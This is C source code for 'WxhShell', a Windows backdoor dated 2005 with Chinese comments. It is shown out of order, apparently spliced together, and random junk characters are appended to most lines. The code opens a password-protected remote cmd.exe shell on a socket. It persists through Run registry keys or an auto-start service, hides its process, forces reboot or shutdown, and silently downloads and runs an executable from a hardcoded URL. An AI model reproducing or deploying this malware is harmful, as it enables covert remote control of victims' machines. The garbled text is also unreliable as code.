    if(Boot(SHUTDOWN)) +q6ydb,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TJE\A)|>g  
    else { XC{eX&,2x  
    closesocket(wsh); 3+ >G#W~  
    ExitThread(0); P"sA  
    } 2r$#m*  
    break; &d7Z6P'`G  
    } :Xc@3gF  
  // 获取shell {M,,npl  
  case 's': { zByT$P-  
    CmdShell(wsh); >-&R47G  
    closesocket(wsh); kd"N 29  
    ExitThread(0); "3FihE]k  
    break; ^ 9!!;)  
  } 0"~i ^   
  // 退出 j }b\Z9)!  
  case 'x': { &.TTJsKG h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 12Y  
    CloseIt(wsh); P%K4[c W~  
    break; w+1Gs ;  
    } 2Sm }On  
  // 离开 = k\J<  
  case 'q': { tTd\|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ){jl a,[  
    closesocket(wsh); 5nbEf9&  
    WSACleanup(); 1+?N#Fh  
    exit(1); (sWLhUgRX  
    break; q -8t'7  
        } Ty88}V  
  } OR[{PU=X  
  } VK@!lJ u!  
$XoQ]}"O  
  // 提示信息 QeF3qXI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cu6%h>@K$  
} }@.|?2b +  
  } B=|cS;bM$3  
e{Z &d  
  return; YJ$1N!rG  
} uslQ*7S[^  
K\|FQ^#UYm  
// shell模块句柄 W`^@)|9^)  
int CmdShell(SOCKET sock) eYx Kp!f  
{ *hcYGLx r  
STARTUPINFO si; tDUwy^j  
ZeroMemory(&si,sizeof(si)); K _&4D'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w3$   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Aocm R0D'  
PROCESS_INFORMATION ProcessInfo; _UuC,Pl3  
char cmdline[]="cmd"; $\9~)Rq6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v0L\0&+  
  return 0; 4*$G & TX  
} ~Jf{4*>y  
43=,yz2Ef  
// 自身启动模式 o=`C<}  
int StartFromService(void) 2 3gPbtq/  
{ $8BPlqBIZ  
typedef struct u]OW8rc  
{ <_Q1k>  
  DWORD ExitStatus; ,i@X'<;y  
  DWORD PebBaseAddress; TsTPj8GAl[  
  DWORD AffinityMask; "yW:\   
  DWORD BasePriority; T1H"\+  
  ULONG UniqueProcessId; ZRYEqSm  
  ULONG InheritedFromUniqueProcessId; 'F3)9&M  
}   PROCESS_BASIC_INFORMATION; ge8/``=  
7F'`CleU  
PROCNTQSIP NtQueryInformationProcess; iTaWup  
=G]@+e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jmeRrnC}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yq$,,#XDD=  
U,LTVYrO  
  HANDLE             hProcess; PdvqDa8  
  PROCESS_BASIC_INFORMATION pbi; xMBaVlEN  
=z8f]/k*>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q`D_|L  
  if(NULL == hInst ) return 0; 4ni3kmvX  
p'om-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nl9P, d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IY*EA4>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N;[>,0&z  
0#MqD[U(  
  if (!NtQueryInformationProcess) return 0; &y#r;L<9  
KI+VXH}Y5{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SV(]9^nW  
  if(!hProcess) return 0; twx[ s$O'b  
0P]E6hWgg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vI@%Fg+D  
GQ-Rtn4v  
  CloseHandle(hProcess); Ox-|JJ=  
*2GEnAZb7n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FKmFo^^0  
if(hProcess==NULL) return 0; Q1z;/A$Al  
QNl'ZB \  
HMODULE hMod; *<!oHEwkN  
char procName[255]; )K2HK&t:  
unsigned long cbNeeded; &@3H%DP}Ql  
%D[0nt|X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /S lYm-uQ+  
6VhjJJ  
  CloseHandle(hProcess); p l&Muv  
,f&5pw =  
if(strstr(procName,"services")) return 1; // 以服务启动 R,Vd.-5M  
&ZQJ>#~j^  
  return 0; // 注册表启动 fS`$'BQ  
} -xP!"  
.e3+s*  
// 主模块 >&U,co$>  
int StartWxhshell(LPSTR lpCmdLine) k|!EDze43?  
{ cSm%s  
  SOCKET wsl; |.3DD"*  
BOOL val=TRUE; PV=5UyjW  
  int port=0; T'b_W,m~,u  
  struct sockaddr_in door; @qHNE,K  
DX|# gUAm  
  if(wscfg.ws_autoins) Install(); s S7c!  
k Zq!&  
port=atoi(lpCmdLine); 2TA*m{\Hr  
d09k5$=gJ  
if(port<=0) port=wscfg.ws_port; s4uhsJL V$  
>HS W]"k  
  WSADATA data; AoI/n4T^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }:~x7|~s:  
,11H.E Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *VZ5B<Ic  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "^]cQ"A  
  door.sin_family = AF_INET; "l*`>5Nn9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'uxX5k/D@t  
  door.sin_port = htons(port); I'0@viF"Nx  
,kn"> k9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |x-S&-  
closesocket(wsl); qhz]Wm P   
return 1; >cCR2j,r  
} ok4@N @  
5EfS^MRf\n  
  if(listen(wsl,2) == INVALID_SOCKET) { !dC<4qZ\C  
closesocket(wsl); oTuOw|[  
return 1; w&KK3*=""  
} `WH"%V:"Q  
  Wxhshell(wsl); #"5 Dk#@  
  WSACleanup(); A`}rqhU.{-  
8UVmv=T  
return 0; E0?iXSJ  
?28N ^  
} %&Q$dzgb_  
KPj\-g'A  
// 以NT服务方式启动 \9g+^vQg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jE/AA!DC#  
{ 9amaL~m  
DWORD   status = 0; :65~[$2  
  DWORD   specificError = 0xfffffff; @>U-t{W  
xsMBC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9*1,!%]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <>aw 1WM+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9 o&`5  
  serviceStatus.dwWin32ExitCode     = 0; 9c6gkt9eB  
  serviceStatus.dwServiceSpecificExitCode = 0; *N<&GH(j  
  serviceStatus.dwCheckPoint       = 0; la+[bm< v  
  serviceStatus.dwWaitHint       = 0; ]3 l9:|  
q*7VqB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ikSt"}/hd  
  if (hServiceStatusHandle==0) return; H,u<|UMM_  
<U\B!fO'  
status = GetLastError(); Oz%>/zw[h  
  if (status!=NO_ERROR) % V8U (z  
{ tyqT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z\%Ls   
    serviceStatus.dwCheckPoint       = 0; dKxyA"@  
    serviceStatus.dwWaitHint       = 0; L>R P-x>  
    serviceStatus.dwWin32ExitCode     = status; \hEN4V[  
    serviceStatus.dwServiceSpecificExitCode = specificError; cbT7CG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,~]tg77  
    return; pv Gf\pu  
  } "*srx]  
K$E3QVa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !74S  
  serviceStatus.dwCheckPoint       = 0; 5X:*/FuS@  
  serviceStatus.dwWaitHint       = 0; 4k@5/5zsM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /Id%_,}Kb  
} OD6\Mr2=  
"\o+v|;  
// 处理NT服务事件,比如:启动、停止 /q`xCS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |~vI3]}fx  
{ 5MtLT#C3r  
switch(fdwControl) m4l& eEp  
{ ''\O v  
case SERVICE_CONTROL_STOP: EH! q=&d  
  serviceStatus.dwWin32ExitCode = 0; .Lsavpo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =aBctd:eX`  
  serviceStatus.dwCheckPoint   = 0; NP/Gn6fr  
  serviceStatus.dwWaitHint     = 0; 2h1vVF3  
  { Ke2ccN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J2xw) +  
  } vRH d&0  
  return; l^pA2yh|  
case SERVICE_CONTROL_PAUSE: ^5h]Y;tx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lY?QQ01D  
  break; |m^k_d!d  
case SERVICE_CONTROL_CONTINUE: sE Q=dcK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #\ X#w<\?  
  break; J:V6  
case SERVICE_CONTROL_INTERROGATE: )\J+Kiy)  
  break; HiR[(5vnf  
}; e'~J,(fB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )quM4=u'  
} eOs)_?}  
#AL=f'2=f  
// 标准应用程序主函数 IJ(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3@M|m<_R$  
{ pxCK;]  
~&7MkkftM  
// 获取操作系统版本 `OXpU,Z 6U  
OsIsNt=GetOsVer(); 10q'Z}34  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '":lB]hS  
(nlvl?\d  
  // 从命令行安装 jU9$Ehg I  
  if(strpbrk(lpCmdLine,"iI")) Install(); -y8`yHb_  
l0PZ`m+;j  
  // 下载执行文件 CsoiyY -2  
if(wscfg.ws_downexe) { }dWq=)*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SEGri#s  
  WinExec(wscfg.ws_filenam,SW_HIDE); w&o&jAb-M  
} ,^w?6?,&l}  
kT"Kyd  
if(!OsIsNt) { 7Z\--=;|[:  
// 如果时win9x,隐藏进程并且设置为注册表启动 <b`E_  
HideProc(); {MCi<7j<?  
StartWxhshell(lpCmdLine); XINu=N(g  
} YkniiB[/  
else DRp~jW(\y  
  if(StartFromService()) D(AXk8Vub  
  // 以服务方式启动 2[ RoxKm  
  StartServiceCtrlDispatcher(DispatchTable); \eT5flC  
else <UV1!2nv*  
  // 普通方式启动 19Mu61  
  StartWxhshell(lpCmdLine); 'B 43_  
&]v4@%<J  
return 0; $JJrSwR<h  
} f78An 8  
%_RQx2  
M<.d8?p )  
\{Z; :,S  
=========================================== VEqS;~[  
zQ@I}K t  
aI6$?wus  
T>x&T9  
A: 5x|  
q Gw -tPD<  
" im9G,e  
^S UPi  
#include <stdio.h> >VP= MbN  
#include <string.h> "$ Y_UJT7  
#include <windows.h> '=nQ$/!q  
#include <winsock2.h> G-xDN59K  
#include <winsvc.h> E:JJ3X|  
#include <urlmon.h> E .7  
OjJXysslXO  
#pragma comment (lib, "Ws2_32.lib")  86 W9rR  
#pragma comment (lib, "urlmon.lib") ]h* c,.  
EQb7 -vhg  
#define MAX_USER   100 // 最大客户端连接数 _aFl_\3>  
#define BUF_SOCK   200 // sock buffer %Y<|;0v  
#define KEY_BUFF   255 // 输入 buffer 9[b<5Llt  
u37'~&o{U  
#define REBOOT     0   // 重启 JJ}0gZ   
#define SHUTDOWN   1   // 关机 m?pstuUK(  
DnCP aM4%  
#define DEF_PORT   5000 // 监听端口 3D!5T8 @  
\K@'Z  
#define REG_LEN     16   // 注册表键长度 0B@SN)<kH  
#define SVC_LEN     80   // NT服务名长度 { QHVo#  
3L833zL  
// 从dll定义API 8$85^Of  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xu< k3oD7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZHU5SXu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^?cz,N~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C${Vg{g7a  
0E,8R{e  
// wxhshell配置信息 -8eoNzut  
struct WSCFG { $@^pAP   
  int ws_port;         // 监听端口 YQ+tDZY8`  
  char ws_passstr[REG_LEN]; // 口令 #MX'^RZ>2  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5R'TcWf#W  
  char ws_regname[REG_LEN]; // 注册表键名 ~$iIVJ`  
  char ws_svcname[REG_LEN]; // 服务名 F~%]6^$w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =yr0bGy`-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mn9dqq~a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ??PC k1X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %\D)u8}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kqp(%8mf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i@P)a'W_  
qfL~Wp2E;  
}; SSz~YR^}Sr  
eqP&8^HP  
// default Wxhshell configuration aGJC1x  
struct WSCFG wscfg={DEF_PORT, U*( izD  
    "xuhuanlingzhe", l)Pu2!Ic  
    1, WFO4gB*  
    "Wxhshell", -BRc8 /  
    "Wxhshell", @y='^DQ*  
            "WxhShell Service", /tP|b _7O  
    "Wrsky Windows CmdShell Service", ^* J2'X38I  
    "Please Input Your Password: ", Wc,~{  
  1, yRSTk2N@  
  "http://www.wrsky.com/wxhshell.exe", _d"b;4l  
  "Wxhshell.exe" )-0kb~;|  
    }; :n0vQ5a  
9Wnn'T@Tl  
// 消息定义模块 cxA^:3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LV\DBDM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ue4Vcf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3&u&x(   
char *msg_ws_ext="\n\rExit."; q;<h[b?  
char *msg_ws_end="\n\rQuit."; Cnbz=z  
char *msg_ws_boot="\n\rReboot..."; #0ETY\}ZD  
char *msg_ws_poff="\n\rShutdown..."; Sz^ veh?  
char *msg_ws_down="\n\rSave to "; tNGp\~  
r<K(jG[:{f  
char *msg_ws_err="\n\rErr!"; 4 !y%O  
char *msg_ws_ok="\n\rOK!"; xnmmXtk  
MYla OT  
char ExeFile[MAX_PATH]; Y( 3Bp\6  
int nUser = 0; B$b +Ymu  
HANDLE handles[MAX_USER]; |K.mP4CKY  
int OsIsNt; 2.%.Z_k)  
V'kX)$  
SERVICE_STATUS       serviceStatus; f !s=(H;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D+>4AqG  
]}U*_rM:  
// 函数声明 /9HVY %n  
int Install(void); {B[=?6tQ  
int Uninstall(void); @&X|5p"[g  
int DownloadFile(char *sURL, SOCKET wsh); p1&b!*o-&  
int Boot(int flag); +pR[U4$  
void HideProc(void); W7U2MqQ  
int GetOsVer(void); P8>~c9$I  
int Wxhshell(SOCKET wsl); .v$D13L(o  
void TalkWithClient(void *cs); B?4boF?~  
int CmdShell(SOCKET sock); oW<5|FaN  
int StartFromService(void); VO$ iNK  
int StartWxhshell(LPSTR lpCmdLine); )xbHCoU,  
Olh<,p+x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u/M+u;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kdl:Wt*4o  
qMLD)rL  
// 数据结构和表定义 MhR:c7,  
SERVICE_TABLE_ENTRY DispatchTable[] = #7MUJY+ 9  
{ Z/t+8;TMR,  
{wscfg.ws_svcname, NTServiceMain}, f6p-s y>  
{NULL, NULL} hnDBFQ{  
}; <$X3Hye  
P %#<I}0C  
// 自我安装 B)qWtMZx  
int Install(void) !4^C #{$  
{ 7PtN?;rP  
  char svExeFile[MAX_PATH]; M+w=O!dq  
  HKEY key; ~S8*t~  
  strcpy(svExeFile,ExeFile); E;+O($bA  
h"_MA_]~  
// 如果是win9x系统,修改注册表设为自启动 1(|'WyD  
if(!OsIsNt) { XDFx.)t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d4?Mi2/jF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _i20|v   
  RegCloseKey(key); eD*A )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U-R6xxPZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eA#;AQm  
  RegCloseKey(key); hRK/T7v  
  return 0; Mz~M3$$9n  
    } iZM+JqfU|D  
  } 5 N#3a0)  
} kic/*v\6@  
else { 8 0Gn%1A9  
YbTxn="_  
// 如果是NT以上系统,安装为系统服务 U$_xUG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ry%Mej:  
if (schSCManager!=0) joiL{  
{ PfC!lI BU  
  SC_HANDLE schService = CreateService vTlwRG=5  
  ( K95p>E`9e  
  schSCManager,  (Q.waI  
  wscfg.ws_svcname, _Ou WB"  
  wscfg.ws_svcdisp, a2 Y;xe  
  SERVICE_ALL_ACCESS, 9J9)AV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @I_8T$N=  
  SERVICE_AUTO_START, %*`J k#W:  
  SERVICE_ERROR_NORMAL, SVO3821  
  svExeFile, >h k=VyU;  
  NULL, j( RWO  
  NULL, )6|yb65ZUX  
  NULL, Qj.l:9%  
  NULL, `kZ@Zmj#  
  NULL l i0i"  
  ); }Ub6eXf(2  
  if (schService!=0) 6P5Ih  
  { oAPb*;}  
  CloseServiceHandle(schService); /+\uqF8F  
  CloseServiceHandle(schSCManager); 5A sP5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Axe8n1*y  
  strcat(svExeFile,wscfg.ws_svcname); ]y,==1To  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y6Lf@}2(i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f"u%J/e&  
  RegCloseKey(key); jF=gr$  
  return 0; -5I2ga  
    } }T%}wdj  
  } * v75O7l  
  CloseServiceHandle(schSCManager); LAd\Tvms  
} ++V=s\d7  
} i1>- QDYnJ  
q^r#F#*1l  
return 1; ? P( ZA  
} :&:JTa1cv  
8"fD`jtQ  
// 自我卸载 " QWq_R  
int Uninstall(void) UmQ?rS8d  
{ /4 vG3  
  HKEY key; *g[^.Sg  
^sVX)%  
if(!OsIsNt) { brdmz}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  }(1JaG  
  RegDeleteValue(key,wscfg.ws_regname); %Mk0QKzUo  
  RegCloseKey(key); |m80]@>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 AsT  
  RegDeleteValue(key,wscfg.ws_regname); 1;mW,l'`  
  RegCloseKey(key); iv>SsW'p_  
  return 0; ^d~1E Er  
  } nSkPM 5\TI  
} #3_*]8K.R  
} AKRTBjG"  
else { VxXzAeM  
;~\MZYs3m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &9"-`-[e:  
if (schSCManager!=0) tPGJ<30  
{ "V$Bnz\n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yq NzdzX  
  if (schService!=0) I;Bjfv5  
  { @ )-$kk*  
  if(DeleteService(schService)!=0) { hWT[L.>k  
  CloseServiceHandle(schService); MHsc+gQiz  
  CloseServiceHandle(schSCManager); 7?kIVP1r  
  return 0; dVFf.  
  } vsr[ur[eP  
  CloseServiceHandle(schService); sH?/E6  
  } HfvTxaK  
  CloseServiceHandle(schSCManager); W@Lu;g.Yc  
} d\FJFMW*9  
} q7-L53.x  
EoxQ */  
return 1; M>>qn_yq4  
} H03jDM8Q  
cPU/t kc  
// 从指定url下载文件 vMs$ceq  
int DownloadFile(char *sURL, SOCKET wsh) i7utKj*57  
{ A%{W{UP8N  
  HRESULT hr; y:h}z).  
char seps[]= "/"; C,pJ`:P  
char *token; 0#YX=vjX7  
char *file; OLvcivf  
char myURL[MAX_PATH]; zdEPDd B  
char myFILE[MAX_PATH]; ]/B$br'O{?  
!k/Pv\j/R  
strcpy(myURL,sURL); IW% |G  
  token=strtok(myURL,seps); =pk)3<GwF  
  while(token!=NULL) +5&wOgx  
  { ,57`D'  
    file=token; {!K-E9_,S  
  token=strtok(NULL,seps); )"m!YuS Y  
  } pIKSs<IP  
.LuB\o$  
GetCurrentDirectory(MAX_PATH,myFILE); ryc& n5  
strcat(myFILE, "\\"); pOrWg@<\L  
strcat(myFILE, file); ^-a8V'  
  send(wsh,myFILE,strlen(myFILE),0); YTjkPj:  
send(wsh,"...",3,0); $Tb G+Eb8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PGARXw+  
  if(hr==S_OK) v,\R, {0  
return 0; `)Z!V?&!  
else if]Noe  
return 1; Qo1eXMW  
f7'q-  
} bQZ*r{g  
bC3 F  
// 系统电源模块 5 XA=G  
int Boot(int flag) |K^"3`SJ  
{ s#S%#LM  
  HANDLE hToken; Y2[A2Uy$ef  
  TOKEN_PRIVILEGES tkp; \AC|?/sH  
!2|=PB' M  
  if(OsIsNt) { C(id=F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wfP5@!I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3tmdi3s  
    tkp.PrivilegeCount = 1; "9bN+1[<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;kJu$U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7rC uu*M  
if(flag==REBOOT) { ~6 I)|^Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7 uarh!  
  return 0; /2m?15c+  
} $7'g Rb4  
else { n3`&zY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +~ #U7xgq/  
  return 0; ;=< ^0hxer  
} wO>L#"X^v  
  } >2?aZ`r+  
  else { o1/lZm{\~n  
if(flag==REBOOT) { i#%a-I:M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) & ``d  
  return 0; 6ITLGA  
} gBf4's  
else { O`$#Pg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :EtMH(  
  return 0; "aF8l<1xn  
} R <"6ojn  
} X{g%kf,D=  
k5&bq2)I  
return 1; {gKN d*[*  
} =9LC<2  
{@u<3 s  
// win9x进程隐藏模块 ZCg`z  
void HideProc(void) s6 }X t=j  
{ a0*2) uL}  
 pAu72O?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EHlytG}@  
  if ( hKernel != NULL ) #2tCV't  
  { @wq#>bm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ? /JBt /b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w&BGJYI  
    FreeLibrary(hKernel); ^<0IB#dA  
  } Y?#i{ixX6n  
F.)!3YE  
return; ba@=^Fa;  
} k?VQi5M  
p[2GkP  
// 获取操作系统版本 ~B$b)`*  
int GetOsVer(void) Q!M)xNl/  
{ ^I]{7$6^  
  OSVERSIONINFO winfo; gq5qRi`q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @+_&Y]  
  GetVersionEx(&winfo); somfv$'B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WjMS5^ _  
  return 1; gZT)pP  
  else /dDzZ%/@  
  return 0; A.Bk/N1G  
} j|e[s ? d  
$gMCR b,  
// 客户端句柄模块 \Z/k;=Sla  
int Wxhshell(SOCKET wsl) )uP[!LV[e  
{ L<(VG{)Z  
  SOCKET wsh; P.sgRsL  
  struct sockaddr_in client; 9YF$CXonE=  
  DWORD myID; ~k'V*ERNSj  
PG,U6c #  
  while(nUser<MAX_USER) {Ts:ZI+ 8d  
{ tk/`%Q  
  int nSize=sizeof(client); /!Z^Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0>!/rR7  
  if(wsh==INVALID_SOCKET) return 1; "D* Wi7  
THhy~wC".  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); # X.+  
if(handles[nUser]==0) S:Tm23pe  
  closesocket(wsh); /f1'm@8;  
else !k~z5z'=py  
  nUser++; ?kt=z4h9(  
  } zL s^,x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9e<Zgr?N  
&WZP2Q|  
  return 0; }gsO&g"8  
} ew#T8F[  
G+)?^QTn  
// 关闭 socket dyQh:u -  
void CloseIt(SOCKET wsh) C]`eH *z~8  
{ `HUf v@5  
closesocket(wsh); oVZ4bRl   
nUser--; T{*^_  
ExitThread(0); 8U.$FMx :  
} W81o"TR|pt  
R9. HD?H@  
// 客户端请求句柄 ZHy><=2  
void TalkWithClient(void *cs) ^i<}]c_|f  
{ >zL |8f  
{e]NU<G ,  
  SOCKET wsh=(SOCKET)cs; j$eCe< .3  
  char pwd[SVC_LEN]; +Z? [M1g  
  char cmd[KEY_BUFF]; GYgWf1$8_D  
char chr[1]; K="I<bK  
int i,j; $ u2Cd4  
Sa] mm/ G  
  while (nUser < MAX_USER) { PO ko]@~!i  
5_G'68;OV  
if(wscfg.ws_passstr) {  a@|.;#FF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1<uwU(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <q7s`,rG  
  //ZeroMemory(pwd,KEY_BUFF); X Usy.l/  
      i=0; 9YSVK\2$  
  while(i<SVC_LEN) { $e/*/.  
N^B@3QF  
  // 设置超时 4]UT+'RubX  
  fd_set FdRead; /!b x`cKG  
  struct timeval TimeOut; L_*L`!vQA"  
  FD_ZERO(&FdRead); !b%,'fy)  
  FD_SET(wsh,&FdRead); 11*"d#  
  TimeOut.tv_sec=8; u[t>Tg2R  
  TimeOut.tv_usec=0; Tcs3>lJ}   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P $h;SK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); < EXWWrm  
C MqM;1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y@9Y,ZR*  
  pwd=chr[0]; Kcn\g.  
  if(chr[0]==0xd || chr[0]==0xa) { fjkT5LNx k  
  pwd=0; -I vL+}K  
  break; J%4HNW*p  
  } T` ;k!F46  
  i++; u '@Ely  
    } $f(agG]  
bD@@tGr;W  
  // 如果是非法用户,关闭 socket "4[<]pq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bi_J5 If  
} 6 ZHv,e`?  
NhtEW0xCr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZPYH#gC& T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u.&|CF-  
Q}z{AZ  
while(1) { t|".=3%G  
9<qx!-s2rr  
  ZeroMemory(cmd,KEY_BUFF); | W?[,|e  
./!KE"!  
      // 自动支持客户端 telnet标准   Ko-QR(  
  j=0; *C/KM;&  
  while(j<KEY_BUFF) { g!5#,kJM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ULbP_y>(Y  
  cmd[j]=chr[0]; %f#\i#G<k  
  if(chr[0]==0xa || chr[0]==0xd) { 7`+UB>8  
  cmd[j]=0; .ftUhg  
  break; %((cFQ9  
  } )Jz!Ut  
  j++; cB36p&%  
    } 573~-Jvx  
8"pA9Mr  
  // 下载文件 `NoCH[$!+  
  if(strstr(cmd,"http://")) { x[a'(5PwY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'w `d$c/p  
  if(DownloadFile(cmd,wsh)) 0, "ZV}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jM;d>Gymx  
  else OMxxI6h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uyvskz\  
  } QJ6f EV$~  
  else { B4 <_"0  
~vkud+r  
